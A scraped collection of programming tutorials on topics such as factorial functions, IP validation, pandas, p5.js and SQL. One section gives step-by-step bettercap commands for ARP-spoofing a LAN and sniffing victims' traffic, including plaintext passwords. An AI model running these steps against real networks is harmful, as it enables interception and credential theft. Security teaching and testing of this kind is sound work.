code-rag-bench/online-tutorials huggingface dataset:
One line function for factorial of a number

11 Jul, 2022
Factorial of a non-negative integer, is multiplication of all integers smaller than or equal to n.  
Example :

Factorial of 6 is 6 * 5 * 4 * 3 * 2 * 1 which is 720.
We can find the factorial of a number in one line with the help of Ternary operator or commonly known as Conditional operator in recursion. 
 
C++
Java
Python3
C#
PHP
Javascript
// C++ program to find factorial of given number#include<iostream> int factorial(int n){    // single line to find factorial    return (n==1 || n==0) ? 1: n * factorial(n - 1);} // Driver Codeint main(){    int num = 5;    printf ("Factorial of %d is %d", num, factorial(num));    return 0;}
// Java program to find factorial of given number import java.io.*; class GFG {     static int factorial(int n)    {                 // single line to find factorial        return (n == 1 || n == 0) ? 1 : n *                                factorial(n - 1);    }     public static void main(String[] args)    {                 int num = 5;                 System.out.println("Factorial of " + num +                           " is " + factorial(num));    }} // This code is contributed by Ajit.
# Python3 program to find# factorial of given number def factorial(n):         # single line to    # find factorial    return 1 if (n == 1 or n == 0) else n * factorial(n - 1); # Driver Codenum = 5;print("Factorial of", num,      "is", factorial(num)); # This is contributed by mits
// C# program to find factorial// of given numberusing System; class GFG{     // Function to calculate factorial    static int factorial(int n)    {                 // single line to find factorial        return (n == 1 || n == 0) ?                1 : n * factorial(n - 1);    }     public static void Main()    {                 int num = 5;        Console.WriteLine("Factorial of " + num +                        " is " + factorial(num));    }} // This code is contributed by vt_m.
<?php// PHP program to find// factorial of given number function factorial($n){    // single line to find factorial    return ($n==1 || $n==0) ? 1 :            $n * factorial($n - 1);} // Driver Code$num = 5;echo "Factorial of ", $num,     " is ", factorial($num); // This code is contributed by Ajit.?>
<script>// Javascript program to find// factorial of given number function factorial(n){    // single line to find factorial    return (n == 1 || n == 0) ? 1 :            n * factorial(n - 1);} // Driver Codelet num = 5;document.write("Factorial of ", num,     " is ", factorial(num)); // This code is contributed by _saurabh_jaiswal.</script>
Output :
 Factorial of 5 is 120
Time complexity: O(n) where n is given number
Auxiliary Space: O(n) 
vt_m
jit_t
Mithun Kumar
_saurabh_jaiswal
technophpfij
factorial
Mathematical
School Programming
Mathematical
factorial
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Sniffing using bettercap in Linux

18 Jan, 2021
Sniffing is the process of capturing and monitoring data packets that are passed through the network. It is used to capture the data of the victim and bettercap is a powerful tool used to perform various MITM(man in the middle) attacks on a network. Also, ARP Spoofing is a type of attack in which an attacker sends false ARP (Address Resolution Protocol) messages over a LAN(local area network). 
Prerequisites: Kali Linux, laptop or computer with WIFI modem, and bettercap installed in it.
Note: You need to be connected with the network on which you want to sniff. Type these all command on the terminal
Step 1: Selecting the interface of wlan0 i.e Wi-Fi. You can also try it with LAN (local area network ), It will work the same as with Wi-Fi. -iface command is used for selecting the interface. You can use the command ifconfig to get all the interfaces for example if you are connected with an eth0 you need to type bettercap -iface eth0 to get into the bettercap interface.
bettercap  -iface wlan0
Step 2: To show all the devices that are connected to the same network with their IP, MAC, Name, etc. Now we need to copy the IP address of the devices on which we want to sniff.  
net.show
Step 3: This will provide you with the Modules of bettercap with their status ( i.e running or not running )
help
Step 4: This will send various probe packets to each IP in order and in the present subnet so that net.recon module may detect them with ease.
net.probe on
Step 5: In order to attack both the targets and the gateway, we will have to set arp.spoof.fullduplex to true.
set arp.spoof.fullduplex true
Step 6: Set the target to the IP you can add any number of IPs here by using “,”. For example 192.168.43.157 ,192.168.43.152
set arp.spoof.targets 192.168.43.157(IP address of the target Device)
Step 7: Start the ARP spoofer 
set arp.spoof on
Step 8: Setting it to true will consider packets from/to this computer, otherwise it will skip them. As we are MITM (man in the middle) that means all the data is transferring from our computer
set net.sniff.local true
Step 9: Turning on the sniffing and catching the packets.
net.sniff on
Note: After these all steps you can get the data of the targets only for the unsecured sites like the sites with the “http” for the https and the hsts there are some more steps involved in it. For now, you can get all the data entered by the target on the unsecured sites even the passwords. Just perform these steps on the website after signing off a written agreement with the owner of the website.
Technical Scripter 2020
Linux-Unix
Technical Scripter
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Navigate through a ResultSet using a JDBC program?

The next() method of the ResultSet interface moves the pointer/Cursor of the current ResultSet object to the next row from the current position. This method returns a boolean value. If there are no rows next to its current position this method returns false, else it returns true.
Therefore, using this method in the while loop you can iterate the contents of the ResultSet object.
while(rs.next()){
}
The ResultSet interface (also) provides getter methods (getXXX()) to retrieve values in each column of a row, each getter methods has two variants:
getXXX(int columnIndex): Accepts an integer value representing the index of the column and returns its value.
getXXX(int columnIndex): Accepts an integer value representing the index of the column and returns its value.
getXXX(String columnLabel ): Accepts a String value representing the name of the column and returns its value.
getXXX(String columnLabel ): Accepts a String value representing the name of the column and returns its value.
You need to use the respective getter method based on the datatype of the column in the table.
while(rs.next()) {
   System.out.print("Brand: "+rs.getString("Column_Name")+", ");
   System.out.print("Sale: "+rs.getString("Column_Name "));
   ...........................
   ...........................
   System.out.println("");
}
In the same way if it is a bi-directional ResultSet object you can navigate backwards using the previous() method.
Since the pointer of the ResultSet object is positioned before 1st row by default. To navigate backwards you need to shift the pointer/cursor to the next row after the last and, navigate backwards as:
rs.afterLast();

System.out.println("Contents of the table");
while(rs.previous()) {
   System.out.print("Brand: "+rs.getString("Mobile_Brand")+", ");
   System.out.print("Sale: "+rs.getString("Unit_Sale"));
   System.out.println("");
}
How to create a Reset Button in form using HTML ?

30 Sep, 2021
In this article, we will learn how to create a Reset Button in HTML forms.  Basically, the reset button is used to reset all the form data value and set to its initial default value. In case of user entered the wrong data then the user can easily correct it by clicking on “Reset Button”.
Approach: Here is a simple approach to add a reset Button –
First, we create an HTML document that contains a <form> element.
Create an <input> element under the form element.
Use the type attribute with the <input> element.
Set the type attribute to value “reset”.
Syntax
<input type="reset">
Example:
HTML
<!DOCTYPE html><html>  <head>    <title>        How to Create a Reset Button         in form using HTML?    </title></head>  <body style="text-align:center;">      <h1 style="color:green;">        GeeksforGeeks    </h1>      <h2>        How to Create a Reset Button         in form using HTML?    </h2>      <form>        Email ID:        <input type="email">        <br>        <br> Password:        <input type="password">        <br><br>          <input type="submit">        <input type="reset">    </form></body>  </html>
Output:
HTML-Questions
HTML-Tags
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python program to validate an IP Address

15 Jul, 2021
Prerequisite: Python Regex 
Given an IP address as input, write a Python program to check whether the given IP Address is Valid or not.
What is an IP (Internet Protocol) Address? Every computer connected to the Internet is identified by a unique four-part string, known as its Internet Protocol (IP) address. An IP address (version 4) consists of four numbers (each between 0 and 255) separated by periods. The format of an IP address is a 32-bit numeric address written as four decimal numbers (called octets) separated by periods; each number can be written as 0 to 255 (E.g. – 0.0.0.0 to 255.255.255.255).
Examples: 
Input:  192.168.0.1
Output: Valid Ip address

Input: 110.234.52.124
Output: Valid Ip address

Input: 666.1.2.2
Output: Invalid Ip address 
 
Input:25.99.208.255 
Output: Valid Ip address
In this program, we are using search() method of re module. re.search() : This method either returns None (if the pattern doesn’t match), or re.MatchObject that contains information about the matching part of the string. This method stops after the first match, so this is best suited for testing a regular expression more than extracting data. 
Let’s see the Python program to validate an IP address : 
Python3
# Python program to validate an Ip address # re module provides support# for regular expressionsimport re # Make a regular expression# for validating an Ip-addressregex = "^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$"       # Define a function for# validate an Ip addressdef check(Ip):     # pass the regular expression    # and the string in search() method    if(re.search(regex, Ip)):        print("Valid Ip address")             else:        print("Invalid Ip address")      # Driver Codeif __name__ == '__main__' :         # Enter the Ip address    Ip = "192.168.0.1"         # calling run function    check(Ip)     Ip = "110.234.52.124"    check(Ip)     Ip = "366.1.2.2"    check(Ip)
Valid Ip address
Valid Ip address
Invalid Ip address
 
kvs1389
anshuman350
surinderdawra388
simmytarika5
Python Regex-programs
python-regex
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
Read a file line by line in Python
Python String | replace()
Python program to convert a list to string
Defaultdict in Python
Python | Get dictionary keys as a list
Python | Convert a list to dictionary
Python | Convert string dictionary to dictionary
How to import a class from another file in Python ?

30 Apr, 2021
In this article, we will see How to import a class from another file in Python.
Import in Python is analogous to #include header_file in C/C++. Python modules can get access to code from another module by importing the file/function using import. The import statement is that the commonest way of invoking the import machinery, but it’s not the sole way. The import statement consists of the import keyword alongside the name of the module.
Here we have created a class named GFG which has two methods: add() and sub(). Apart from that an explicit function is created named method() in the same python file. This file will act as a module for the main python file.
Python
class GFG:          # methods    def add(self, a, b):        return a + b    def sub(self, a, b):        return a - b  # explicit function      def method():    print("GFG")
Let the name of the above python file be module.py.
It’s now time to import the module and start trying out our new class and functions. Here, we will import a module named module and create the object of the class named GFG inside that module. Now, we can use its methods and variables.
Python
import module   # Created a class objectobject = module.GFG()   # Calling and printing class methodsprint(object.add(15,5))print(object.sub(15,5))   # Calling the functionmodule.method()
Output:
20
10
GFG
Importing the module as we mentioned earlier will automatically bring over every single class and performance within the module into the namespace. If you’re only getting to use one function, you’ll prevent the namespace from being cluttered by only importing that function as demonstrated in the program below:
Python
# import modulefrom module import method   # call method from that module  method()
Output:
GFG
In this way, we can use class to import from another file.
Picked
python-modules
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Python Classes and Objects
Python OOPs Concepts
Introduction To PYTHON
Python | os.path.join() method
How to drop one or multiple columns in Pandas Dataframe
How To Convert Python Dictionary To JSON?
Check if element exists in list in Python
Python | Get unique values from a list
Python | datetime.timedelta() function
unordered_map erase in C++ STL

24 Dec, 2018
erase function is used to erase elements from the unordered_map. There are three type of erase functions supported by unordered_map :
erasing by iterator: It takes an iterator as a parameter and erases the key and value present at that iterator.Syntaxunordered_map.erase(const iterator);erasing by key: It takes a key as a parameter and erases the key and value.Syntaxunordered_map.erase(const key);erase by range: It takes two iterators as a parameter and erases all the key and values present in between (including the starting iterator and excluding the end iterator).Syntax:unordered_map.erase(const iteratorStart, const iteratorEnd);
erasing by iterator: It takes an iterator as a parameter and erases the key and value present at that iterator.Syntaxunordered_map.erase(const iterator);
unordered_map.erase(const iterator);
erasing by key: It takes a key as a parameter and erases the key and value.Syntaxunordered_map.erase(const key);
unordered_map.erase(const key);
erase by range: It takes two iterators as a parameter and erases all the key and values present in between (including the starting iterator and excluding the end iterator).Syntax:unordered_map.erase(const iteratorStart, const iteratorEnd);
unordered_map.erase(const iteratorStart, const iteratorEnd);
// CPP program to demonstrate implementation of// erase function in unordered_map.#include <bits/stdc++.h>using namespace std;  int main(){      unordered_map<int, bool> um;      // Adding some elements in the map.    um[12] = true;    um[4189] = false;    um[519] = true;    um[40] = false;    um[4991] = true;      cout << "Contents of the unordered_map : \n";    for (auto p : um)        cout << p.first << "==>" << p.second << "\n";    cout << "\n";      // erase by iterator    cout << "After erasing by Iterator : \n";    um.erase(um.begin());    for (auto p : um)        cout << p.first << "==>" << p.second << "\n";    cout << "\n";      // erase by value    cout << "After erasing by Key : \n";    um.erase(4189);    for (auto p : um)        cout << p.first << "==>" << p.second << "\n";    cout << "\n";      // erase by range    cout << "After erasing by Range : \n";    auto it = um.begin();    it++; // Returns iterator pointing to second element    um.erase(it, um.end());    for (auto p : um)        cout << p.first << "==>" << p.second << "\n";    cout << "\n";      return 0;}
Contents of the unordered_map :
4991==>1
519==>1
40==>0
12==>1
4189==>0

After erasing by Iterator :
519==>1
40==>0
12==>1
4189==>0

After erasing by Key :
519==>1
40==>0
12==>1

After erasing by Range :
519==>1
 


cpp-unordered_map
cpp-unordered_map-functions
Picked
STL
Technical Scripter 2018
C++
Technical Scripter
STL
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Bitwise Operators in C/C++
vector erase() and clear() in C++
Inheritance in C++
Priority Queue in C++ Standard Template Library (STL)
The C++ Standard Template Library (STL)
Sorting a vector in C++
Substring in C++
C++ Classes and Objects
Object Oriented Programming in C++
2D Vector In C++ With User Defined Size
Python | Tuple multiplication

21 Nov, 2019
Sometimes, while working with records, we can have a problem in which we may need to perform multiplication of tuples. This problem can occur in day-day programming. Let’s discuss certain ways in which this task can be performed.
Method #1 : Using zip() + generator expressionThe combination of above functions can be used to perform this task. In this, we perform the task of multiplication using generator expression and mapping index of each tuple is done by zip().
# Python3 code to demonstrate working of# Tuple multiplication# using zip() + generator expression  # initialize tuplestest_tup1 = (10, 4, 5, 6)test_tup2 = (5, 6, 7, 5)  # printing original tuplesprint("The original tuple 1 : " + str(test_tup1))print("The original tuple 2 : " + str(test_tup2))  # Tuple multiplication# using zip() + generator expressionres = tuple(ele1 * ele2 for ele1, ele2 in zip(test_tup1, test_tup2))  # printing resultprint("The multiplied tuple : " + str(res))
The original tuple 1 : (10, 4, 5, 6)
The original tuple 2 : (5, 6, 7, 5)
The multiplied tuple : (50, 24, 35, 30)

 
Method #2 : Using map() + mulThe combination of above functionalities can also perform this task. In this, we perform the task of extending logic of multiplication using mul and mapping is done by map().
# Python3 code to demonstrate working of# Tuple multiplication# using map() + mulfrom operator import mul  # initialize tuplestest_tup1 = (10, 4, 5, 6)test_tup2 = (5, 6, 7, 5)  # printing original tuplesprint("The original tuple 1 : " + str(test_tup1))print("The original tuple 2 : " + str(test_tup2))  # Tuple multiplication# using map() + mulres = tuple(map(mul, test_tup1, test_tup2))  # printing resultprint("The multiplied tuple : " + str(res))
The original tuple 1 : (10, 4, 5, 6)
The original tuple 2 : (5, 6, 7, 5)
The multiplied tuple : (50, 24, 35, 30)

Python tuple-programs
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Acronym in Python

Suppose we have a string s that is representing a phrase, we have to find its acronym. The acronyms should be capitalized and should not include the word "and".
So, if the input is like "Indian Space Research Organisation", then the output will be ISRO
To solve this, we will follow these steps −
tokens:= each word of s as an array
tokens:= each word of s as an array
string:= blank string
string:= blank string
for each word in tokens, doif word is not "and", thenstring := string concatenate first letter of word
for each word in tokens, do
if word is not "and", thenstring := string concatenate first letter of word
if word is not "and", then
string := string concatenate first letter of word
string := string concatenate first letter of word
return convert string into uppercase string
return convert string into uppercase string
Let us see the following implementation to get better understanding −
 Live Demo
class Solution:
   def solve(self, s):
      tokens=s.split()
      string=""
      for word in tokens:
         if word != "and":
            string += str(word[0])
      return string.upper()
ob = Solution()
print(ob.solve("Indian Space Research Organisation"))
"Indian Space Research Organisation"
ISRO
C Program to check if an Array is Palindrome or not

Given an array arr[] of any size n, our task is to find out that the array is palindrome or not. Palindrome is a sequence which can be read backwards and forward as same, like: MADAM, NAMAN, etc.
So to check an array is palindrome or not so we can traverse an array from back and forward like −
Input: arr[] = {1, 0, 0, 1}
Output: Array is palindrome
Input: arr[] = {1, 2, 3, 4, 5}
Output: Array is not palindrome
Approach used below is as follows −
We will traverse the array from starting as well as from the end until they both are equal and check whether the element from starting is same as the element from the end, then the array is palindrome else the array is not a palindrome.
Start
In function int pallindrome(int arr[], int n)
   Step 1-> initialize i, j, flag and assign flag as 0
   Step 2-> Loop For i = 0, j=n-1 and i< n/2, j>=n/2 and i++, j--
      If arr[i]!=arr[j] then,
         Set flag as 1
            Break
      End If
   End Loop
   Step 3-> If flag == 1 then,
      Return 0
   Step 4-> Else
      Return 1
End function
In function int main(int argc, char const *argv[])
   Step 1-> Declare and initialize arr[] as {1, 0, 2, 3, 2, 2, 1}
   Step 2-> Declare and initialize n as sizeof(arr)/sizeof(arr[0])
   Step 3-> If pallindrome(arr, n) then,
      Print "Array is pallindrome "
   End if
   Step 4-> Else
      Print "Array is not pallindrome "
   Return 0
End main
Stop
 Live Demo
#include <stdio.h>
int pallindrome(int arr[], int n) {
   int i, j, flag = 0;
   for(i = 0, j=n-1; i< n/2, j>=n/2; i++, j--) {
      if(arr[i]!=arr[j]) {
         flag = 1;
         break;
      }
   }
   if (flag == 1)
   return 0;
   else
   return 1;
}
int main(int argc, char const *argv[]) {
   int arr[] = {1, 0, 2, 3, 2, 2, 1};
   int n = sizeof(arr)/sizeof(arr[0]);
   if(pallindrome(arr, n)) {
      printf("Array is pallindrome\n");
   }
   else
      printf("Array is not pallindrome\n");
   return 0;
}
If run the above code it will generate the following output −
Array is not palindrome
Shearing in 2D Graphics

01 Jul, 2020
Shearing deals with changing the shape and size of the 2D object along x-axis and y-axis. It is similar to sliding the layers in one direction to change the shape of the 2D object.It is an ideal technique to change the shape of an existing object in a two dimensional plane. In a two dimensional plane, the object size can be changed along X direction as well as Y direction.
x-Shear :In x shear, the y co-ordinates remain the same but the x co-ordinates changes. If P(x, y) is the point then the new points will be P’(x’, y’) given as –
Matrix Form:y-Shear :In y shear, the x co-ordinates remain the same but the y co-ordinates changes. If P(x, y) is the point then the new points will be P’(x’, y’) given as –
Matrix Form:
x-y Shear :In x-y shear, both the x and y co-ordinates changes. If P(x, y) is the point then the new points will be P’(x’, y’) given as –
Matrix Form:
Example :Given a triangle with points (1, 1), (0, 0) and (1, 0).Find out the new coordinates of the object along x-axis, y-axis, xy-axis.(Applying shear parameter 4 on X-axis and 1 on Y-axis.).
Explanation –
Given,
Old corner coordinates of the triangle = A (1, 1), B(0, 0), C(1, 0)
Shearing parameter along X-axis (Shx) = 4
Shearing parameter along Y-axis (Shy) = 1

Along x-axis:
A'=(1+4*1, 1)=(5, 1)
B'=(0+4*0, 0)=(0, 0)
C'=(1+4*0, 0)=(1, 0)

Along y-axis:
A''=(1, 1+1*1)=(1, 2)
B''=(0, 0+1*0)=(0, 0)
C''=(1, 0+1*1)=(1, 1)

Along xy-axis:
A'''=(1+4*1, 1+1*1)=(5, 2)
B'''=(0+4*0, 0+1*0)=(0, 0)
C'''=(1+4*0, 0+1*1)=(1, 1) 
Engineering Mathematics
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Difference between Propositional Logic and Predicate Logic
Arrow Symbols in LaTeX
Set Notations in LaTeX
Activation Functions
Mathematics | Walks, Trails, Paths, Cycles and Circuits in Graph
Univariate, Bivariate and Multivariate data and its analysis
Properties of Boolean Algebra
Discrete Mathematics | Hasse Diagrams
Newton's Divided Difference Interpolation Formula
Representation of Boolean Functions
p5.js | createVideo() Function

26 Feb, 2020
The createVideo() function is used to create a video element in the DOM. The video is created as a p5.MediaElement, which has methods for controlling the media and its playback.
Syntax:
createVideo(src, callback)
Parameters: This function accepts two parameters as mentioned above and described below:
src: It is a string that specified path of the video file. An array of strings can also be used to specify multiple paths for the support of different browsers.
callback: It is a callback function that would be fired when the ‘canplaythrough’ event fires. This event is fired when the video has completed loading and does not require any additional buffering. It is an optional parameter.
Return Value: It returns a pointer to the p5.MediaElement with the video.
Below examples illustrate the createVideo() function in p5.js:
Example 1:
function setup() {  createCanvas(300, 300);  text("Click on the buttons below to"+       " play/pause the video", 20, 20);    vidElement = createVideo("sample_video.mp4");  vidElement.position(20, 0);  vidElement.size(300);    playBtn = createButton("Play Video");  playBtn.position(30, 40);  playBtn.mouseClicked(playVideo);    pauseBtn = createButton("Pause Video");  pauseBtn.position(150, 40);  pauseBtn.mouseClicked(pauseVideo);}  function playVideo() {  vidElement.play();}  function pauseVideo() {  vidElement.pause();}
Output:
Example 2:
function setup() {  createCanvas(300, 300);  text("Loading the video...", 20, 20);    vidElement = createVideo("sample_video.mp4", afterLoad);  vidElement.position(20, 20);  vidElement.size(300);}  function afterLoad() {  text("The video has finished loading and will"+                           " now play!", 20, 40);  vidElement.play();}
Output:
Online editor: https://editor.p5js.org/
Environment Setup: https://www.geeksforgeeks.org/p5-js-soundfile-object-installation-and-methods/
Reference: https://p5js.org/reference/#/p5/createVideo
JavaScript-p5.js
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Read SQL database table into a Pandas DataFrame using SQLAlchemy

17 Aug, 2020
To read sql table into a DataFrame using only the table name, without executing any query we use read_sql_table() method in Pandas. This function does not support DBAPI connections.
Syntax : pandas.read_sql_table(table_name, con, schema=None, index_col=None, coerce_float=True, parse_dates=None, columns=None, chunksize=None)
Parameters : 
table_name : (str) Name of SQL table in database.
con : SQLAlchemy connectable or str. 
schema :  (str) Name of SQL schema in database to query (if database flavor supports this). Default is None
index_col : List of string or string. Column(s) to set as index(MultiIndex). Default is None.
coerce_float : (bool) Attempts to convert values of non-string, non-numeric objects (like decimal.Decimal) to floating point.  Default is True
parse_dates : (list or dict) 
List of column names to parse as dates.
Dict of {column_name: format string} where format string is strftime compatible in case of parsing string times or is one of (D, s, ns, ms, us) in case of parsing integer timestamps.
Dict of {column_name: arg dict}, where the arg dict corresponds to the keyword arguments of pandas.to_datetime() Especially useful with databases without native Datetime support, such as SQLite.
columns : List of column names to select from SQL table. Default is None
chunksize : (int) If specified, returns an iterator where chunksize is the number of rows to include in each chunk. Default is None. 
Return type : DataFrame
Example 1 :
# import the modulesimport pandas as pd from sqlalchemy import create_engine  # SQLAlchemy connectablecnx = create_engine('sqlite:///contacts.db').connect()  # table named 'contacts' will be returned as a dataframe.df = pd.read_sql_table('contacts', cnx)print(df)
Output :
Example 2 :
# import the modulesimport pandas as pd from sqlalchemy import create_engine  # SQLAlchemy connectablecnx = create_engine('sqlite:///students.db').connect()  # table named 'students' will be returned as a dataframe.df = pd.read_sql_table('students', cnx)print(df)
Output :
Example 3 :
# import the modulesimport pandas as pd from sqlalchemy import create_engine  # SQLAlchemy connectablecnx = create_engine('sqlite:///students.db').connect()  # table named 'employee' will be returned as a dataframe.df = pd.read_sql_table('employee', cnx)print(df)
Output :
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
Read a file line by line in Python
Python String | replace()
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Iterate over a list in Python
Convert integer to string in Python
Matplotlib.pyplot.contour() in Python

21 Apr, 2020
Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. Pyplot is a state-based interface to a Matplotlib module which provides a MATLAB-like interface.
The contour() function in pyplot module of matplotlib library is used to plot contours.
Syntax: matplotlib.pyplot.contour(\*args, data=None, \*\*kwargs)
Parameters: This method accept the following parameters that are described below:
X, Y: These parameter are the coordinates of the values in Z.
Z : This parameter is the height values over which the contour is drawn.
levels : This parameter is used to determine the numbers and positions of the contour lines / regions.
Returns: This returns the following:
c :This returns the QuadContourSet.
Below examples illustrate the matplotlib.pyplot.contour() function in matplotlib.pyplot:
Example #1:
# Implementation of matplotlib functionimport numpy as npimport matplotlib.pyplot as pltimport matplotlib.ticker as tickerimport matplotlib   delta = 0.15x = np.arange(1.5, 2.5, delta)y = np.arange(1.0, 3.0, delta)X, Y = np.meshgrid(x, y)Z = (np.exp(X - Y))    CS1 = plt.contour(X, Y, Z)   fmt = {}strs = ['1', '2', '3', '4', '5', '6', '7']for l, s in zip(CS1.levels, strs):    fmt[l] = splt.clabel(CS1, CS1.levels, inline = True,           fmt = fmt, fontsize = 10)  plt.title('matplotlib.pyplot.contour() Example')plt.show()
Output:
Example #2:
# Implementation of matplotlib functionimport matplotlibimport numpy as npimport matplotlib.cm as cmimport matplotlib.pyplot as plt   delta = 0.25x = np.arange(-3.0, 5.0, delta)y = np.arange(-1.3, 2.5, delta)X, Y = np.meshgrid(x, y)Z = (np.exp(-X**2 - Y**2) - np.exp(-(X - 1)**2 - (Y - 1)**2))   fig, ax = plt.subplots()im = ax.imshow(Z, interpolation ='bilinear',               origin ='lower',               cmap ="bone",                extent =(-3, 3, -2, 2))  levels = np.arange(-1.2, 1.6, 0.2)CS = ax.contour(Z, levels,                 origin ='lower',                cmap ='Greens',                linewidths = 2,                extent =(-3, 3, -2, 2))  zc = CS.collections[6]plt.setp(zc, linewidth = 2)   ax.clabel(CS, levels,          inline = 1,           fmt ='% 1.1f',          fontsize = 14)  plt.title('matplotlib.pyplot.contour() Example')plt.show()
Output:
Python-matplotlib
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to iterate through Excel rows in Python?
Rotate axis tick labels in Seaborn and Matplotlib
Deque in Python
Queue in Python
Defaultdict in Python
Check if element exists in list in Python
Python Classes and Objects
Bar Plot in Matplotlib
reduce() in Python
Python | Get unique values from a list
p5.js | curveVertex() Function

25 May, 2020
The curveVertex() function in p5.js is used to specify the vertex coordinates used to draw a curve. It expects 2 parameters for 2D curves and 3 parameters for 3D curves. Both the 2D and 3D modes can be used for drawing in the WebGL mode. This function can only be used between the beginShape() and endShape().
The first and last vertices are used to guide the beginning and end of a curve. A minimum of four points is required to draw a curve between the given second and third points. Additional vertices would be used to draw the curve between them.
Syntax:
curveVertex( x, y )
OR
curveVertex( x, y, [z] )
Parameters: This function accepts three parameters as mentioned above and described below:
x: It is a number that specifies the x-coordinate of the vertex.
y: It is a number that specifies the y-coordinate of the vertex.
z: It is a number that specifies the z-coordinate of the vertex. It is an optional parameter.
The examples below illustrates the curveVertex() function in p5.js:
Example 1:
function setup() {  createCanvas(500, 300);  textSize(16);}  function draw() {  background("green");  fill("black");  text("The curve below is made using curveVertex() function in Canvas", 10, 20);    // Define the vertex points  let p1 = { x: 150, y: 250 };  let p2 = { x: 100, y: 100 };  let p3 = { x: 400, y: 100 };  let p4 = { x: 350, y: 250 };    noFill();    // Start the curve  beginShape();    // Specify other points in curveVertex()  curveVertex(p1.x, p1.y);  curveVertex(p2.x, p2.y);  curveVertex(p3.x, p3.y);  curveVertex(p4.x, p4.y);  endShape();    // Draw circles for demonstration  circle(p1.x, p1.y, 10);  circle(p2.x, p2.y, 10);  circle(p3.x, p3.y, 10);  circle(p4.x, p4.y, 10);}
Output:
Example 2:
let newFont;  function preload() {  newFont = loadFont("fonts/Montserrat.otf");}  function setup() {  createCanvas(500, 200, WEBGL);  textFont(newFont, 14);}  function draw() {  background("green");  fill("black");  text("The curve below is made using curveVertex() function in WebGL", -245, -75);    // Define the vertex points  let p1 = { x: -200, y: 175, z: 0 };  let p2 = { x: -200, y: 25, z: 0 };  let p3 = { x: 150, y: 25, z: 0 };  let p4 = { x: 275, y: 175, z: 0 };    noFill();    // Start the curve  beginShape();    // Specify the points of the vertex  curveVertex(p1.x, p1.y, p1.z);  curveVertex(p2.x, p2.y, p2.z);  curveVertex(p3.x, p3.y, p3.z);  curveVertex(p4.x, p4.y, p4.z);  endShape();}
Output:
Online editor: https://editor.p5js.org/
Environment Setup: https://www.geeksforgeeks.org/p5-js-soundfile-object-installation-and-methods/
Reference: https://p5js.org/reference/#/p5/curveVertex
JavaScript-p5.js
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python | Pandas Series.count()

15 Feb, 2019
Pandas series is a One-dimensional ndarray with axis labels. The labels need not be unique but must be a hashable type. The object supports both integer- and label-based indexing and provides a host of methods for performing operations involving the index.
Pandas Series.count() function return the count of non-NA/null observations in the given Series object.
Syntax: Series.count(level=None)
Parameter :level : If the axis is a MultiIndex (hierarchical), count along a particular level, collapsing into a smaller Series
Returns : nobs : int or Series (if level specified)
Example #1: Use Series.count() function to find the count of non-missing values in the given series object.
# importing pandas as pdimport pandas as pd  # Creating the Seriessr = pd.Series([80, 25, 3, 25, 24, 6])  # Create the Indexindex_ = ['Coca Cola', 'Sprite', 'Coke', 'Fanta', 'Dew', 'ThumbsUp']  # set the indexsr.index = index_  # Print the seriesprint(sr)
Output :
Now we will use Series.count() function to find the count of non-missing values in the given series object.
# find the count of non-missing values# in the given series objectresult = sr.count()  # Print the resultprint(result)
Output :As we can see in the output, the Series.count() function has successfully returned the count of non-missing values in the given series object. Example #2 : Use Series.count() function to find the count of non-missing values in the given series object. The given series object contains some missing values.
# importing pandas as pdimport pandas as pd  # Creating the Seriessr = pd.Series([100, None, None, 18, 65, None, 32, 10, 5, 24, None])  # Create the Indexindex_ = pd.date_range('2010-10-09', periods = 11, freq ='M')  # set the indexsr.index = index_  # Print the seriesprint(sr)
Output :
Now we will use Series.count() function to find the count of non-missing values in the given series object.
# find the count of non-missing values# in the given series objectresult = sr.count()  # Print the resultprint(result)
Output :As we can see in the output, the Series.count() function has successfully returned the count of non-missing values in the given series object.
Python pandas-series
Python pandas-series-methods
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
Read a file line by line in Python
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Iterate over a list in Python
Convert integer to string in Python
Python OOPs Concepts
Count SQL Table Column Using Python

23 Dec, 2020
Prerequisite: Python: MySQL Create Table
In this article, we are going to see how to count the table column of a MySQL Table Using Python. Python allows the integration of a wide range of database servers with applications. A database interface is required to access a database from Python. MySQL Connector-Python module is an API in python for communicating with a MySQL database. 
We are going to use geeks(Database name) database and table describing the salary.
Approach:
Import module.
Make a connection request with the database.
Create an object for the database cursor.
Execute the following MySQL query:
SELECT count(*) AS New_column_name FROM information_schema.columns where table_name = ‘Table_name’;
Example 1:
In this example we are using this database with the following query;
Python3
# Establish connection to MySQL databaseimport mysql.connector  mydb = mysql.connector.connect(    host="localhost",    user="root",    password="root123",    database="geeks")  # Create a cursor objectmycursor = mydb.cursor()  # Execute the queryquery = "SELECT count(*) AS New_column_name FROM information_schema.columns where table_name = 'Persons';"mycursor.execute(query)  myresult = mycursor.fetchall()  print(myresult[-1][-1])  # Close database connectionmydb.close()
Output;
5
Example 2:
In this example we are using this database with the following query;
Python3
